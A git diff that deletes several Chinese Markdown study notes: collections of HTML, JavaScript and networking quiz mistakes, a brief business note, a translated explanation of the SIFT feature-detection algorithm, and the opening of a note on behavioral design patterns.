100644 index 4c6db927..00000000 --- "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/HTML\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" +++ /dev/null @@ -1,187 +0,0 @@ ---- -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# HTML刷题【错题本】 - -1. fieldset 元素可将表单内的相关元素分组。 - - `
    `标签将表单内容的一部分打包,生成一组相关表单的字段。 - - 当一组表单元素放到 `
    ` 标签内时,浏览器会以特殊方式来显示它们,它们可能有特殊的边界、3D 效果,或者甚至可创建一个子表单来处理这些元素。 - - `
    ` 标签没有必需的或唯一的属性。 - - `` 标签为 fieldset 元素定义标题。 - -2. link是HTML方式, @import是CSS方式 - - link最大限度支持并行下载,@import过多嵌套导致串行下载,出现FOUC(文档样式短暂失效) - - link可以通过rel="alternate stylesheet"指定候选样式 - - 浏览器对link支持早于@import,可以使用@import对老浏览器隐藏样式 - - @import必须在样式规则之前,可以在css文件中引用其他文件 - -2. 一个常用的针对移动网页优化过的页面的 viewport meta 标签大致如下: - - ```html - - ``` - - - width:控制 viewport 的大小,可以指定的一个值,如 600,或者特殊的值,如 device-width 为设备的宽度(单位为缩放为 100% 时的 CSS 的像素)。 - - height:和 width 相对应,指定高度。 - - initial-scale:初始缩放比例,也即是当页面第一次 load 的时候缩放比例。 - - maximum-scale:允许用户缩放到的最大比例。 - - minimum-scale:允许用户缩放到的最小比例。 - - user-scalable:用户是否可以手动缩放。 - -2. disabled指当 input 元素加载时禁用此元素。input内容不会随着表单提交 - - readonly规定输入字段为只读。input内容会随着表单提交。 - - 无论设置readonly还是disabled,通过js脚本都能更改input的value - -5. ``元素表示所附文本是短内联引号。 大多数现代浏览器通过用引号括起文本来实现这一点。 此元素用于不需要分段符号的简短引号; 对于长引号,可以使用`
    `元素。 - -6. DOM树一共有12种节点类型,常用的有4种: - - 1、Document类型(document节点)——DOM的“入口点” - - 2、Element节点(元素节点)——HTML标签,树构建块 - - 3、Text类型(文本节点)——包含文本 - - 4、Comment类型(注释节点)——有时我们可以将一些信息放入其中,它不会显示,但JS可以从DOM中读取它。 - -7. **1.什么是 XML?** - XML 指可扩展标记语言(EXtensible Markup Language) - XML 是一种标记语言,很类似 HTML - XML 的设计宗旨是传输数据,而非显示数据 - XML 标签没有被预定义。您需要自行定义标签。 - XML 被设计为具有自我描述性。 - XML 是 W3C 的推荐标准 - - **2.XML 与 HTML 的主要差异** - - XML 不是 HTML 的替代。 - - XML 和 HTML 为不同的目的而设计: - - XML 被设计为传输和存储数据,其焦点是数据的内容。 - - HTML 被设计用来显示数据,其焦点是数据的外观。 - - HTML 旨在显示信息,而 XML 旨在传输信息。 - -8. 如果你试图删除的属性不存在,那么delete将不会起任何作用,但仍会返回true - 如果对象的原型链上有一个与待删除属性同名的属性,那么删除属性之后,对象会使用原型链上的那个属性(也就是说,delete操作只会在自身的属性上起作用) - 任何使用 var 声明的属性不能从全局作用域或函数的作用域中删除。 - 这样的话,delete操作不能删除任何在全局作用域中的函数(无论这个函数是来自于函数声明或函数表达式) - 除了在全局作用域中的函数不能被删除,在对象(object)中的函数是能够用delete操作删除的。 - 任何用let或const声明的属性不能够从它被声明的作用域中删除。 - 不可设置的(Non-configurable)属性不能被移除。这意味着像Math, Array, Object内置对象的属性以及使用Object.defineProperty()方法设置为不可设置的属性不能被删除。 - -9. ```js - var a = 1; - b = 2; - eval('var c = 3'); - delete a; - delete b; - delete c; - ``` - - 在eval中使用var声明的全局变量可以被delete删除,所以变量c能删除成功,除此之外,在其他情况下,使用var声明的全局变量或者局部变量一般是不能被delete删除的,所以变量a无法被删除,仍然可以访问到,而未使用var声明的全局变量可以使用delete进行删除,所以无法访问到b。 - -10. ele.clientWidth = 宽度 + padding - - ele.offsetWidth = 宽度 + padding + border - - ele.scrollTop = 被卷去的上侧距离 - - ele.scrollHeight = 自身实际的高度(不包括边框) - -11. **Input标签的readonly属性** - - Readonly规定输入的字段为只读,即用户不可修改,但是用户可以通过tab切换到该字段,还可以选中复制该字段。可以配合js设置条件控制用户是否可以更改或输入内容 - - - - **Input标签的step属性** - - Step规定输入字段的合法数字间隔(如step=”2”,则合法数字可为-2,0,2,4等) - - Step属性的值为负数或0时默认为1,该属性可以配合max,min属性来创建合法值得范围。 - - Step,max,min属性适用于类型有:number,range,date,datetime,month,time,week - - - - **form标签的enctype属性** - - 规定在发送表单数据之前如何对其编码,可取值有: - - application/x-www-form-urlencoded - - multipart/form-data - - text/plain - - **form标签的method属性** - - 规定用于发送表单数据的http方法,可取值有:post和get - - **video标签,****H5新标签** - - 用来定义视频,电影片段或其他视频流 - - 常用属性:autoplay(视频就绪后马上播放) - - ​ controls(向用户显示播放控件,如按钮) - - ​ loop(循环播放) - - 可以为没有controls控件属性的video嵌套按钮控件 - -11. metadata content(元数据内容)包括以下内容: - - link、script、title、base、meta、noscript、template、style. - -13. embed是HTML5中新增的标签,可以在页面中嵌入任何类型的文档。用户的机器上必须已经安装了能够正确显示文档内容的程序,一般常用于在网页中插入多媒体格式 embed src=url 说明:embed可以用来插入各种媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等, Netscape及新版的IE 都支持。url为音频或视频文件及其路径,可以是相对路径或绝对路径。 示例 - -14. label只有两个属性**for**(规定 label 绑定到哪个表单元素)和**form**(规定 label 字段所属的一个或多个表单) - -15. **JSON和XML之间的区别:** - - 1、JSON是JavaScript Object Notation;XML是可扩展标记语言。 - - 2、JSON是基于JavaScript语言;XML源自SGML。 - - 3、JSON是一种表示对象的方式;XML是一种标记语言,使用标记结构来表示数据项。 - - 4、JSON不提供对命名空间的任何支持;XML支持名称空间。 - - 5、JSON支持数组;XML不支持数组。 - - 6、XML的文件相对难以阅读和解释;与XML相比,JSON的文件非常易于阅读。 - - 7、JSON不使用结束标记;XML有开始和结束标签。 - - 8、JSON的安全性较低;XML比JSON更安全。 - - 9、JSON不支持注释;XML支持注释。 - - 10、JSON仅支持UTF-8编码;XML支持各种编码。 - -16. `` 标签用来表示一个缩写词或者首字母缩略词,如"WWW"或者"NATO"。 - - 通过对缩写词语进行标记,您就能够为浏览器、拼写检查程序、翻译系统以及搜索引擎分度器提供有用的信息。 - 在某些浏览器中,当您把鼠标移至带有 `` 标签的缩写词/首字母缩略词上时,` `标签的 title 属性可被用来展示缩写词/首字母缩略词的完整版本。 - -17. - - - diff --git "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/JavaScript\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" "b/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/JavaScript\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" deleted file mode 100644 index e0542844..00000000 --- "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/JavaScript\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" +++ /dev/null @@ -1,191 +0,0 @@ ---- -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# JavaScript刷题【错题本】 - -1. AMD和CMD都是浏览器端的js模块化规范,分别由require.js和sea.js实现。 CommonJS是服务器端的js模块化规范,由NodeJS实现。 - -2. (()=>{}).length; 获取方法形参个数,形参为0 - -3. +[] 隐式类型转换,因为[]是对象,所以toPrimitive->valueOf->toString为'',结果就是+''===0 - -4. 阻止默认事件: - - e.preventDefault() - - e.returnValue = false (IE) - - 阻止冒泡: - - e.stopPropagation() - - e.cancelBubble = true (IE) - -5. 虽然在绝大多数编程语言中,0是不能作为分母,但在js中,0是可以作分母的,0/0的结果为NaN,并不会抛出异常,因此会执行try块中所有代码 - -6. readystatechange 读取状态变化 - - pageshow 页面展示 - - beforeunload 页面退出 - - DOMContentLoaded dom内容加载完成 - -7. **模块查找顺序:** - - (1):首先,Node在当前目录下查找package.json(CommonJS包规范定义的包描述文件),通过JSON.parse()解析出包描述对象,从中取出main属性指定的文件名进行定位。如果文件缺少扩展名,将会进入扩展名分析的步骤。    - - (2):而如果main属性制定的文件名错误,或者压根没有package.json文件,Node会将index当做默认文件名,然后依次查找index.js、index.node、index.json.    - - (3):如果在目录分析的过程中没有定位成功任何文件,则自定义模块进入下一个模块路径进行查找。如果模块路径数组都被遍历完毕,依然没有查找到目标文件,则会抛出查找失败异常。    - - 按照上面的思路,首先应该查找package.json文件,看看里面有没有核心模块,应该是C最先,othermodule不是核心模块,那么接着应该进入扩展名分析的步骤,就应该是查找othermodule. js,对应B,紧接着就是以index为默认文件名,也就是A,再接下来就是上一个文件目录D了, - -8. JavaScript的全局函数: - - decodeURI() 解码某个编码的 URI。 - - decodeURIComponent() 解码一个编码的 URI 组件。 - - encodeURI() 把字符串编码为 URI。 - - encodeURIComponent() 把字符串编码为 URI 组件。 - - escape() 对字符串进行编码。 - - eval() 计算 JavaScript 字符串,并把它作为脚本代码来执行。 - - isFinite() 检查某个值是否为有穷大的数。 - - isNaN() 检查某个值是否是数字。 - - Number() 把对象的值转换为数字。 - - parseFloat() 解析一个字符串并返回一个浮点数。 - - parseInt() 解析一个字符串并返回一个整数。 - - String() 把对象的值转换为字符串。 - - unescape() 对由 escape() 编码的字符串进行解码 - - **setTimeout 是 DOM 提供的函数** - -9. document对象方法 - -10. window对象方法 - -11. parseInt() 函数可解析一个字符串,并返回一个整数。所以说,number类型的12.34发生隐式转换为string。 - -12. 关于立即执行函数: - - ```js - (function add(){ - add = 100;//此行代码作废,无效,因为此行代码的意思是要修改函数名,此处是立即执行函数,不允许被修改! - console.log(add); - })(); - ``` - - ```js - (function (){ - a = 100;// 此时的a成为全局变量,挂在到window上! - console.log(a); - })(); - console.log(a);//100 - ``` - - ```js - var add = 1; - function add(){ - add = 2; - console.log(add);//2 - } - add();// - ``` - - ```js - var a = 1; - function add(a=2){ - console.log(a);//2 这地方的a在预解析变量声明提升处理完成后,最后一步会把同名的参数a的值2,赋值给变量a - var a = 3; - console.log(a);//3 - - } - add(); - console.log(a)//1 - ``` - -13. ES6中的类可以视为ES5中构造函数的另一种写法,所以`typeof` `Phone`的输出结果为function而不是Object - -14. 下面哪些方法可以用于JavaScript 异步模式的编程? - - 回调函数,这是异步编程最基本的方法。 - 事件监听,另一种思路是采用事件驱动模式。任务的执行不取决于代码的顺序,而取决于某个事件是否发生。 - 发布/订阅,上一节的"事件",完全可以理解成"信号"。 - Promises对象,Promises 对象是CommonJS 工作组提出的一种规范,目的是为异步编程提供统一接口。 - -15. **ES5:** - - orEach(), filter(), reduce(), every() 和some()都会跳过空位。 - - map()会跳过空位,但会保留这个值 - - join()和toString()会将空位视为undefined,而undefined和null会被处理成空字符串。 - - **ES6 中都会将空位当做undefined** - -16. 类型隐式转换: - - 参照左侧转换为右侧 - -17. Referer是request Header里的内容,不是response header里的内容 - -18. preventDefault() 取消事件默认行为,如阻止点击提交按钮时对表单的提交(本题中click并没有什么默认行为) - stopImmediatePropagation() 取消事件冒泡同时阻止当前节点上的事件处理程序被调用,影响当前的事件 - - stopPropagation() 取消事件冒泡,不影响事件 - - cancelBubbe() 取消事件冒泡 - - returnValue() 取消事件默认行为 - -19. a标签不能套a标签,p标签不能套块标签 - -20. B选项输出值为0是因为forEach方法在数组元素为空时会跳过执行回调函数,相当于此选项回调函数并未执行,所以还是输出0。 - -21. 行内js——javascript:return void(0)或javascript:return confirm("……"); - -22. JavaScript高级程序设计上面的原话:RegExp 对象的主要方法是 exec(),该方法是专门为捕获组而设计的。 exec()接受一个参数,即要应用模式的字符串,然后返回包含第一个匹配项信息的数组;或者在没有匹配项的情况下返回 null。 - -23. ![img](https://cdn.yihuiblog.top/images/202207162018415.png) - -24. d.setDate(n); - - n表示一个月中的一天的一个数值(1 ~ 31): - - 0 为上一个月的最后一天 - -1 为上一个月最后一天之前的一天 - 如果当月有 31 天: - 32 为下个月的第一天 - 如果当月有 30 天: - - 32 为下一个月的第二天; - - 40 为下一个月的第9天; - -25. ```js - var a = 100; - - function a(){ - var a = 200; - console.log(a); - } - a(); - ``` - - 在预解析下,函数和变量都会发生提升,且函数提升在变量提升之前,故在全局作用域下,a首先被定义为函数变量,接着又被覆盖为一个数值型,然后再调用函数a,显然会抛出异常,原因是a已经不再是函数。在函数内部,还存在着局部变量a,但它对函数外部的变量不会产生影响。 - -26. diff --git "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\345\237\272\347\241\200\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" "b/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\345\237\272\347\241\200\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" deleted file mode 100644 index d44b0f49..00000000 --- "a/src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\345\237\272\347\241\200\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" +++ /dev/null @@ -1,75 +0,0 @@ ---- -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 计算机网络基础【错题本】 - -1. 当两种相同类型但又使用不同通信协议的网络进行互联时,就需要使用() - - 路由器 - - > 不同通信协议至少在网络层才能兼容 中继器集线器是物理层 网桥是数据链路层 - -2. ATM 既可以用于广域网,又可以用于局域网,这是因为它的工作原理与 Ethernet 基本上是相同的。( X ) - - > ATM可以用于广域网,也可以用于局域网,一般用于广域网比较多。ATM的原理是采用面向连接的传输方式,将数据分割成固定长度的信元,通过虚连接进行交换,ATM的原理和以太网的原理是不一样的。所以,答案选 错误 - -3. 路由器的 NVRAM(非易失内存)中主要存储着_______。 - - 备份的配置文件 - - > 路由器内存分类: - > - > ROM: 只读内存(不能修改其存放的代码),主要用于**系统初始化**; - > - > FLASH: 闪存,可读可写,存放着当前使用中的**IOS(互联网操作系统),**若容量足够大,甚至可以存放多个操作系统; - > - > NVRAM: 非易失性(Nonvolatile)RAM,可读可写,**仅保存启动配置文件**,通常大小为32KB~128KB,速度快,成本高; - > - > RAM: 随机存储器,可读可写,但存储内容在系统重启、关机后将被清除(上两个都可以保存),运行速度高于前三个;RAM运行时,包含**路由表项目,ARP缓冲项目,日志项目**,**队列中排队等待发送的分组**;除此之外,还包括运行配置文件(Running-config)、正在执行的代码、IOS操作系统程序和一些临时数据信息。 - -4. **单模光纤的传输带宽大,多模光纤的传输带宽小。** - - **多模光纤** - - 多模光纤(Multi Mode Fiber):中心玻璃芯较粗(50或62.5μm),可传多种模式的光。但其模间色散较大,这就限制了传输数字信号的频率,而且随距离的增加会更加严重。例如:600MB/KM的光纤在2KM时则只有300MB的带宽了。因此,**多模光纤传输的距离就比较近**,一般只有几公里。 - - **单模光纤** - - 单模光纤(Single Mode Fiber):中心玻璃芯很细(芯径一般为9或10μm),只能传一种模式的光。因此,**其模间色散很小,因此传输频带宽,容量大,适用于远程通讯**,但还存在着材料色散和波导色散,这样单模光纤对光源的谱宽和稳定性有较高的要求,即谱宽要窄,稳定性要好。后来又发现在1.31μm波长处,单模光纤的材料色散和波导色散一为正、一为负,大小也正好相等。这就是说在1.31μm波长处,单模光纤的总色散为零。从光纤的损耗特性来看,1.31μm处正好是光纤的一个低损耗窗口。这样,1.31μm波长区就成了光纤通信的一个很理想的工作窗口,也是现在实用光纤通信系统的主要工作波段。1.31μm常规单模光纤的主要参数是由国际电信联盟ITU-T在G652建议中确定的,因此这种光纤又称G652光纤。 - -5. 网络管理功能 - - 这五大功能是:故障管理、配置管理、计费管理、性能管理和安全管理,这五大功能是网络管理最基本的功能,简称为FCAPS。 - -6. TCP粘包,就是发送方发送的多个数据包,到接收方后粘连在一起,导致数据包不能完整的体现发送的数据。 - - UDP具有消息边界,不存在粘包问题。 - -7. 静态路由是指由用户或网络管理员手工配置的路由信息。当网络的拓扑结构或链路的状态发生变化时,网络管理员需要手工去修改路由表中相关的静态路由信息。 - - 直接路由是指路由器各网络接口所直连的网络之间进行通信所使用的路由。直接路由是在配置完路由器网络接口的IP地址后自动生成的,因此,如果没有对这些接口进行特殊的限制,这些接口所直连的网络之间就可以直接通信。 - - 缺省路由是一种特殊的路由,可以通过静态路由配置,某些动态路由协议也可以生成缺省路由,如OSPF和IS-IS。在小型互连网中,使用缺省路由可以减轻路由器对路由表的维护工作量,从而降低内存和CPU的使用率。 - - 动态路由是指路由器能够自动地建立自己的路由表,并且能够根据实际情况的变化适时地进行调整。 - - 所以静态路由和缺省路由由网管手动配置。 - -8. OSPF自治区域内协议,BGP自治区域间协议 - -9. 公网地址中:A类地址0.0.0.0-127.255.255.255.255b类地址 128.0.0.0_191.255.255.255c类地址:192.0.0.0-223.255.255.255d类地址:224.0.0.0-239.255.255.255e类地址:240.0.0.0-255.255.255.255 - -10. tcpdump是简单可靠网络监控的实用工具 - - top 显示活动进程方面的情况 - - netstat显示网络有关的信息,比如套接口使用情况、路由、接口、协议(TCP等)等 - - ifconfig是查看活动的网卡信息 - -11. 发射器的功能是把输入的信息(包括语音、数据)经过基带处理,按一定的调制方式调制到规定的载波上,然后经功率放大,从天线发射出去。 - - 可以近似的理解成——将数据转换成适合在传输系统中传送的信号。 diff --git "a/src/\347\224\237\350\264\242\346\234\211\351\201\223/\350\256\260\345\275\225.md" "b/src/\347\224\237\350\264\242\346\234\211\351\201\223/\350\256\260\345\275\225.md" deleted file mode 100644 index 6f3e8be5..00000000 --- "a/src/\347\224\237\350\264\242\346\234\211\351\201\223/\350\256\260\345\275\225.md" +++ /dev/null @@ -1,8 +0,0 @@ -[创业20周年的思考 我在商业思维直播里聊的,分享给各位](https://docs.qq.com/doc/DYlhkY2hvblRhRlFY) - -1. 供需不平衡 -2. 隐性需求 -3. [净资产收益率 - 维基百科,自由的百科全书](https://zh.wikipedia.org/zh-cn/%E8%82%A1%E6%9D%B1%E6%AC%8A%E7%9B%8A%E5%A0%B1%E9%85%AC%E7%8E%87) -4. 短视频和直播是高效的渠道,重在用户匹配能力 -5. 波特五力模型? -6. \ No newline at end of file diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\241\347\256\227\346\234\272\350\247\206\350\247\211/SIFT.md" "b/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\241\347\256\227\346\234\272\350\247\206\350\247\211/SIFT.md" deleted file mode 100644 index 0d960c3f..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\241\347\256\227\346\234\272\350\247\206\350\247\211/SIFT.md" +++ /dev/null @@ -1,176 +0,0 @@ -# [译] SIFT(Scale-invariant feature transform) 尺度不变特征变换 - ->来源文章:[SIFT(Scale-invariant feature transform) | by Minghao Ning | Towards Data Science](https://towardsdatascience.com/sift-scale-invariant-feature-transform-c7233dc60f37) -> ->作者:[Minghao Ning – Medium](https://medium.com/@MinghaoNing) - -在本文中,我将详细解释SIFT算法及其数学原理。 - -希望大家阅读🤔后能理解这些: - -1. SIFT的主要步骤 - - Extreme value detection in scale space 尺度空间极值检测 - - Feature point localization (sub-pixel localization) 特征点定位(亚像素定位)/ 关键点定位 - - Orientation Assignment 定向分配 / 方向确定(为特征点分配方向值) - - Feature descriptor generation 特征描述生成 / 关键点描述 -2. 为什么我们需要将 LoG 乘以 σ² 才能得到尺度不变性 -3. 使用 DoG 分配混合 LoG -4. 为什么我们使用 Hessian 来拒绝位于边缘的某些特征。 - -# 特征点检测 - -顾名思义,**SIFT**具有**尺度不变**性的特性,这使得它比[Harris](https://en.wikipedia.org/wiki/Harris_Corner_Detector)更好。Harris 不是比例不变的,如果比例发生变化,**拐角**可能会变成**边**,如下图所示。 - -image-20221207172457149 - -那么什么是尺度,尺度不变性是什么意思呢? -[托尼·林德伯格(Tony Lindeberg)的论文](https://people.kth.se/~tony/papers/scsptheory-review.jas94.pdf)给出了一个很好的解释: - -> *世界上物体的一个固有属性是它们只作为有意义的实体存在于一定的尺度范围内。* *一个简单的例子是一棵树的树枝的概念,它只有在几厘米到最多几米的规模上才有意义。在纳米或公里级别讨论树的概念是没有意义的。在这些尺度上,谈论形成树叶的分子或树生长的森林更相关。同样,只有在一定范围的粗尺度上谈论云才有意义。在更精细的尺度上,考虑单个液滴更为合适,而水液滴又由水分子组成,水分子由原子组成,原子由质子和电子等组成。* - -图像landmarks的比例是其在图像中的(粗略)直径。它用σ表示,以像素为单位,您可以认为尺度不变性,因为即使它们的比例不同,我们也可以检测到类似的landmarks。 - -![image-20221207172708914](https://cdn.yihuiblog.top/images/202212071727140.png) - -那么SIFT是如何实现尺度不变性的呢? -你还记得**金字塔**吗? - -![image-20221207172745225](https://cdn.yihuiblog.top/images/202212071727374.png) - -我们可以找到各种图像尺寸下的特征。 - -此外,我们还可以使用不同σ的Laplacian of Gaussian(LoG)来实现这一点。 - -我们先来看看LoG。 - -正如[李寅的文章](https://medium.com/lis-computer-vision-blogs/scale-invariant-feature-transform-sift-detector-and-descriptor-14165624a11)所指出的,LoG操作是这样的。你拍摄一个图像,然后稍微模糊一下(使用高斯核 Gaussian kernel) - -然后,你计算它的二阶导数的总和(或“拉普拉斯”)。这将定位图像上的边缘和角落。这些边和角有利于查找关键点(请注意,我们想要一个**关键点**检测器,这意味着我们将执行一些额外的操作来抑制边缘)。LoG 通常用于**Blob detection 斑点检测**(我将在后面解释)。 - -记住卷积和微分之间的关系。 - -![image-20221207173306735](https://cdn.yihuiblog.top/images/202212071733773.png) - -我们可以将图像与**高斯的二阶导数卷积,并将它们相加**(或者只是使用 LoG 进行卷积)。 - -![1__GLMkdxuGZOq4BrYvXbj3A](https://cdn.yihuiblog.top/images/202212071748576.webp) - -以一维为例,**f**是图像的扫描线(即图像一行的像素数组)。 - -![image-20221207174923904](https://cdn.yihuiblog.top/images/202212071749997.png) - -![image-20221207174929463](https://cdn.yihuiblog.top/images/202212071749563.png) - -可以看到,如果我们使用 LoG 来检测边缘,我们需要找到穿过 LoG 响应的零点。如上所述,我们可以像上面说的那样使用LoG来检测blob,而不是求零点。 - -![1_Li6T7E-NB4CrcamoadfqUQ](https://cdn.yihuiblog.top/images/202212071752810.webp) - -啊哈!我们不再需要找到过零点,我们可以找到极值(最大值和最小值)。 - -然而,LoG并不是***真正的***尺度不变的,你可以发现: **Laplacian response 拉普拉斯响应**随着尺度的增加而衰减: - -![1_7eIi6OB6XYuXXKrBJvZ0fg](https://cdn.yihuiblog.top/images/202212071754782.webp) - -那么为什么会这样呢? - -我将给你两种解释方式: - -![1_7FQKZ6au20qO2pFm3Ej31Q](https://cdn.yihuiblog.top/images/202212071758843.webp) - -- 高斯滤波器导数对完美阶跃边沿的响应随着σ的增加而减小。 -- 为了保持响应相同(尺度不变),必须将高斯导数乘以σ。 -- 拉普拉斯是第二个高斯导数,因此必须乘以 σ2。 - -**如果您对上述解释感到满意,并且厌倦了为一些数学概念而苦苦挣扎,请随时跳过以下解释。** - -另一个解释来自[本教程pdf](http://www.cim.mcgill.ca/~langer/558/2009/lecture11.pdf). - -**** - -考虑一个无噪声图像边 I(x) = u(x − x0),u 是**单位阶跃函数(unit step function)**。为了检测边缘,我们用高斯的导数卷积它们,然后在响应中寻找峰值。假设我们通过卷积 I(x) 与高斯滤波器的一阶导数族来定义一个尺度空间,其中**族**意味着我们有一个σ族。 - -image-20221207180218914 - -在边 x = x0 的位置,我们有 - -image-20221207180229017 - -这取决于σ。 - -![image-20221207180252705](https://cdn.yihuiblog.top/images/202212071802770.png) - -如果我们有一个 2D 图像,那么我们以相同的方式定义归一化导数滤波器,即 - -image-20221207180302828 - -Y也是如此。与上面完全相同的参数用于表明,水平边或垂直边处的值将与σ无关。使用这些滤波器,人们以明显的方式定义归一化的梯度尺度空间,并且会发现任意方向边缘处的梯度将独立于σ。 - -**现在第二个导数来了** - -我们知道,如果我们用高斯的一阶导数滤除一个(无噪声)边,I(x) = u(x − x0),那么我们在边的位置得到一个峰值响应。紧接着,如果我们用高斯的二阶导数过滤边缘 - -image-20221207180333367 - -则在边缘位置的响应将为零。高斯滤波器的二阶导数及其2D等价物在计算机视觉和人类视觉建模中非常重要,并且是有影响力的早期边缘检测理论的基础。此过滤器对边缘图像的响应为: - -image-20221207183744259 - -请注意,正如我们所期望的那样,当 x = x0 时,响应确实为 0。峰值发生在哪里?取出我们得到的导数 - -image-20221207183912280 - -并将其设置为 0。因此,峰值发生在以下情况下 - -image-20221207183932356 - -也就是说,x=x0±σ。代入,我们看到峰值的值为 - -image-20221207183953079 - -正如我们对一阶导数滤波器所做的那样,我们可以通过乘以 σ2 来归一化二阶导数滤波器,因此定义了归一化的二阶导数滤波器。 - -image-20221207184010116 - - - -这消除了峰高度对σ^(−2)的依赖性。因此,我们看到,如果我们用高斯的归一化二阶导数(如上所述)过滤边,那么在边的位置有一个过零点,并且在距离边±σ远的地方有峰值(正和负),但峰值的高度不取决于σ。 - -总之,我们需要**将 LoG 乘以 σ2** 以获得真正的尺度不变性。结果如下: - -![1_ht0Wp28yWGMXd-Zwa7QL7A](https://cdn.yihuiblog.top/images/202212071841226.webp) - -现在我们可以在适当的比例下检测地标,这真的很重要,因为我们需要在后面的步骤中描述这个区域,我们需要根据这个比例选择它的周围区域,如下所示: - -![1_7p5Q_MlzGa3cxfx212UVtA](https://cdn.yihuiblog.top/images/202212071841451.webp) - -在实践中,**拉普拉斯算子Laplacian**是使用高斯差值 (DoG) 近似的。 - -image-20221207184236034 - -**DoG** 和 **σ2LoG** 之间的关系可以从热扩散方程(参数化为σ而不是更常见的 t = σ2)中理解,更多详细信息可以查看[第 11 页](https://people.kth.se/~tony/papers/scsptheory-review.jas94.pdf): - -image-20221207184304286 - -由此,我们可以看到 LoG 可以从有限差分近似到 ∂G/∂σ 计算,使用 kσ 和 σ 处附近尺度的差值: - -image-20221207184336600 - -这表明,当 DoG 函数的尺度相差一个常因子时,它已经包含了尺度不变拉普拉斯所需的 σ2 尺度归一化。方程中的因子 (k − 1) 是所有尺度上的常数,因此不会影响极值位置。 - -最重要的是,SIFT结合了金字塔和不同的σ空间来检测不同尺度下的斑点。 - -![1_FgIvcdMirRCZr80IxDjEVg](https://cdn.yihuiblog.top/images/202212071844660.webp) - -![1_qjWuosImhajfJLtlUy_IJA](https://cdn.yihuiblog.top/images/202212071844428.webp) - -请注意,极值是围绕 3 维(即 x,y,σ)的最大值或最小值。 - -# 特征点定位(亚像素定位) - -这部分主要来自[N Campbell的文章](https://mi.eng.cam.ac.uk/~cipolla/lectures/PartIB/IB-SIFT-extra-material.pdf)。 - -在步骤 1 之后,我们检测到一些粗略定位的关键点,充其量是最近的像素,具体取决于特征在比例空间中的位置。它们在尺度上也很难定位,因为σ在尺度空间中被量化为相对较少的步骤。SIFT算法的第二阶段将这些特征点的位置细化为亚像素精度,同时删除任何不良特征。子像素定位通过拟合泰勒展开以将 3D 二次曲面(x、y 和 σ)拟合到局部区域来插值最大值或最小值。忽略二次项以上的项,DoG 的展开如下给出,其中导数在提议的点 z0=[x0,y0,σ0]T 处计算,z=[δx,δy,δσ]T 是该点的偏移量。 - - - -> *最后,对特征向量进行修改,以减少光照变化的影响。首先,将向量归一化为单位长度。图像对比度的变化(其中每个像素值乘以一个常数)将使梯度乘以相同的常数,因此这种对比度变化将通过矢量归一化来抵消。向每个图像像素添加一个常量的亮度变化不会影响梯度值,因为它们是根据像素差异计算得出的。因此,描述符对于照明中的仿射变化是不变的。但是,由于相机饱和或照明变化,也会发生非线性照明变化,这些变化会影响具有不同方向的 3D 表面。这些效应可能会导致某些渐变的相对幅度发生较大变化,但不太可能影响渐变方向。因此,我们通过将单位特征向量中的值阈值设置为每个值不大于 0.2,然后重新规范化为单位长度来减少大梯度幅度的影响。这意味着匹配大梯度的幅度不再那么重要,并且方向的分布更加强调。0.2的值是使用包含相同3D对象不同照明的图像通过实验确定的。* \ No newline at end of file diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/Behavior Pattern \350\241\214\344\270\272\346\250\241\345\274\217.md" "b/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/Behavior Pattern \350\241\214\344\270\272\346\250\241\345\274\217.md" deleted file mode 100644 index 003a3312..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/Behavior Pattern \350\241\214\344\270\272\346\250\241\345\274\217.md" +++ /dev/null @@ -1,657 +0,0 @@ ---- -date: 2021-12-03 -category: -- 设计模式 ---- -# Behavior Pattern 行为模式 - -> 文章内容整理自:https://refactoringguru.cn/ - -## Visitor 访问者 - -**访问者模式**是一种行为设计模式, 它能将算法与其所作用的对象隔离开来。 - -The visitor pattern is a behavior design pattern that **isolates** an algorithm from the object it works on. - -访问者设计模式的结构 - -1. **访问者** (Visitor) 接口声明了一系列以对象结构的具体元素为参数的访问者方法。 如果编程语言支持重载, 这些方法的名称可以是相同的, 但是其参数一定是不同的。 -2. **具体访问者** (Concrete Visitor) 会为不同的具体元素类实现相同行为的几个不同版本。 -3. **元素** (Element) 接口声明了一个方法来 “接收” 访问者。 该方法必须有一个参数被声明为访问者接口类型。 -4. **具体元素** (Concrete Element) 必须实现接收方法。 该方法的目的是根据当前元素类将其调用重定向到相应访问者的方法。 请注意, 即使元素基类实现了该方法, 所有子类都必须对其进行重写并调用访问者对象中的合适方法。 -5. **客户端** (Client) 通常会作为集合或其他复杂对象 (例如一个[组合](https://refactoringguru.cn/design-patterns/composite)树) 的代表。 客户端通常不知晓所有的具体元素类, 因为它们会通过抽象接口与集合中的对象进行交互。 - -### 场景 - 